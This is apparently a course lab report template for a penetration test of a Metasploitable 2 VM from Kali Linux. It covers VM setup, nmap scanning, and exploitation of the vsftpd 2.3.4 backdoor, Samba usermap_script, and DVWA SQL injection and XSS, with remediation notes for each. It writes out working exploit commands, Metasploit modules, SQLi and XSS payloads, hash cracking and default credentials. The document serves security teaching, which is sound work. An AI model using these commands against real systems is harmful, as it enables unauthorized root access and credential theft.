Penetration Testing Lab

Kali Linux → Metasploitable 2

Setup, Exploitation, and Remediation Report

Name: _____

Course / Section: _____

Instructor: _____

Date: _____

Scope & Authorization

All testing in this report was performed against the author's own Metasploitable 2 virtual machine on an isolated host-only network. Metasploitable 2 and DVWA are intentionally vulnerable systems built for training. Performing these techniques against any system without ownership or written authorization is illegal.

Part I — Lab Setup (Steps 1–3)

The lab consists of two virtual machines on an **isolated host-only network**: an attacker VM (Kali Linux) and an intentionally vulnerable target VM (Metasploitable 2). Host-only networking keeps all traffic between the VMs and the host, so testing never reaches the real network or the internet.

Step 1 — Hypervisor

Host OS	Recommended	Notes
Windows	VMware Workstation Pro (free) or VirtualBox	Download with school email from the Broadcom portal
Linux	VMware Workstation Pro or VirtualBox	—
macOS (Apple Silicon)	UTM	x86 VMware/VirtualBox images do not run well on ARM
macOS (Intel)	VMware Fusion or VirtualBox	—

BIOS/UEFI hint: if VMs will not start, enable CPU virtualization — Intel VT-x or AMD-V ("SVM Mode"). On Windows, disabling Hyper-V / Memory Integrity can resolve conflicts.

32- vs 64-bit: nearly all modern machines are 64-bit. Confirm with `uname -m` (x86_64 / arm64 = 64-bit) and download the 64-bit images.

Step 2 — Install Kali Linux (attacker)

- Download the pre-built VM image from kali.org/get-kali → Virtual Machines, matching your hypervisor.
- Extract the archive and open the `.vmx` (VMware) or import the `.ova` (VirtualBox).
- Set the network adapter to **Host-only** before first boot.
- Log in: modern images use **kali / kali**; older images used **root / toor**. Elevate with `sudo -i`.

Verify Kali's host-only IP:

```
ip a        # note Kali's host-only IP, e.g. 192.168.56.101
```

Step 3 — Install Metasploitable 2 (target) & reach DVWA

Metasploitable 2 ships as a pre-built virtual disk — you attach it, you do not install an OS.

- Download Metasploitable 2 (Rapid7 / SourceForge) and extract the zip.
- **VMware:** File → New VM → Custom → install OS later → Linux/Ubuntu 64-bit → Network **Host-only** → Use an existing virtual disk → select `Metasploitable.vmdk` (keep child .vmdk files together).
- **VirtualBox:** New → Linux/Ubuntu 64-bit → use existing disk → then set Adapter 1 to **Host-only**.
- **Crash fix (VMware):** if it keeps crashing, VM Settings → Display → turn off "Accelerate 3D graphics" (3D video support).
- Log in at the console with **msfadmin / msfadmin**.

Find the target IP and confirm the two VMs can see each other:

```
# On Metasploitable 2:
ifconfig          # eth0 -> inet addr, e.g. 192.168.56.102

# On Kali:
ping -c 3 192.168.56.102
```

From Kali's Firefox, browse to `http://<TARGET_IP>/dvwa/` and log in with the default DVWA credentials **admin / password**. A successful login (captured in Part II, Figure 1) confirms the environment is ready.

Part II — Attack Report (Step 4)

1. Methodology

Testing followed the standard phases of a penetration test, scaled to this lab:

- **Reconnaissance / scanning** — discover the host, open ports, and service versions.
- **Enumeration** — identify specific vulnerable services and web applications.
- **Exploitation** — demonstrate attacks that yield access or data.
- **Analysis & remediation** — explain the root cause and how to fix each weakness.

All commands run from Kali. Replace the target IP with your own (from `ifconfig`):

```
TARGET=192.168.56.102   # set to your Metasploitable 2 IP
```

2. Reconnaissance

2.1 DVWA reachable — Step 3 proof

Browsing to `http://TARGET/dvwa/` from Kali and logging in with **admin / password** confirms the web stack is live and the VMs share the host-only network.

[INSERT SCREENSHOT HERE]

Insert > Pictures > step3-dvwa-login.png
(captured on your machine with both VMs running)

Figure 1 — Successful DVWA login on Metasploitable 2 (default credentials admin / password).

2.2 Port & service scan (nmap)

```
nmap -sV -sC -p- -T4 $TARGET -oN nmap-full.txt
```

Metasploitable 2 deliberately exposes a large attack surface. A typical scan reveals:

Port	Service	Notable issue
21	vsftpd 2.3.4	Backdoored version (CVE-2011-2523)
22	OpenSSH 4.7p1	Old; brute-forceable accounts
23	telnet	Cleartext login
80	Apache 2.2.8 / PHP 5.2.4	Hosts DVWA, Mutillidae
139/445	Samba 3.x	usermap_script RCE (CVE-2007-2447)
3306	MySQL 5.0.51a	Blank / weak root
5900	VNC	Password: password
6667	UnrealIRCd	Backdoor (CVE-2010-2075)

Save your own scan to `nmap-full.txt` and cite the exact versions you observe — they justify each exploit below.

3. Exploitation

Three attacks spanning different vulnerability classes are demonstrated below: a network-service backdoor, a service-configuration RCE, and a web-application injection.

3.1 vsftpd 2.3.4 backdoor (CVE-2011-2523)

A tampered release of vsftpd 2.3.4 opened a root shell on port 6200 whenever a username containing ":)" was submitted.

```
# Manual trigger
nc $TARGET 21
USER test:)
PASS test
# second terminal:
nc $TARGET 6200
id        # -> uid=0(root)

# Via Metasploit
msfconsole -q
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS $TARGET
run
```

Root cause: a malicious maintainer backdoor shipped in the source tarball. **Impact:** unauthenticated root RCE. **Remediation:** install only from verified repositories, verify GPG signatures/hashes, and patch services.

3.2 Samba usermap_script command injection (CVE-2007-2447)

Samba 3.0.20–3.0.25rc3 passed the username to /bin/sh when a username-map script was configured, so shell metacharacters in the username executed as root.

```
msfconsole -q
use exploit/multi/samba/usermap_script
set RHOSTS $TARGET
set LHOST <KALI_IP>
run
id; uname -a   # -> root
```

Root cause: unsanitized user input interpolated into a shell command. **Impact:** unauthenticated root RCE over SMB. **Remediation:** patch Samba; never build shell commands from untrusted input; drop daemon privileges.

3.3 Web-app injection via DVWA (ties back to Step 3)

With DVWA security set to Low, two classic web flaws are demonstrated.

(a) SQL injection — in the User ID field:

```
1' OR '1'='1
# dump password hashes:
1' UNION SELECT user, password FROM users -- -

# crack the unsalted MD5 hashes:
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
# admin -> 5f4dcc3b5aa765d61d8327deb882cf99 -> "password"
```

(b) Reflected XSS — in the Name field:

```
<script>alert(document.cookie)</script>
```

Root cause: user input concatenated into SQL / HTML without parameterization or output encoding. **Impact:** database exfiltration, credential theft, session hijacking. **Remediation:** prepared statements, context-aware output encoding, a Content-Security-Policy header, and salted hashing (bcrypt/argon2).

4. Findings Summary

#	Vulnerability	Vector	Access gained	Severity
1	vsftpd 2.3.4 backdoor	FTP (21/6200)	root shell	Critical
2	Samba usermap_script	SMB (445)	root shell	Critical

#	Vulnerability	Vector	Access gained	Severity
3	DVWA SQLi + XSS	HTTP (80)	DB dump, cookie theft	High

Root causes across the target: unpatched/backdoored software, default and weak credentials, cleartext protocols, and missing input validation / output encoding.
Top defensive takeaways:

- Patch and update; obtain software from trusted, signature-verified sources.
- Remove default accounts; enforce strong, unique credentials; disable unused services.
- Replace cleartext services (telnet, r-services) with encrypted equivalents (SSH).
- Use parameterized queries and output encoding in web apps; add CSP.
- Segment the network and restrict service exposure (least privilege, firewalling).

5. Appendix — Evidence Checklist

- Figure 1 — DVWA login screenshot (required).
- `nmap-full.txt` — full scan output.
- msfconsole / nc exploit transcripts.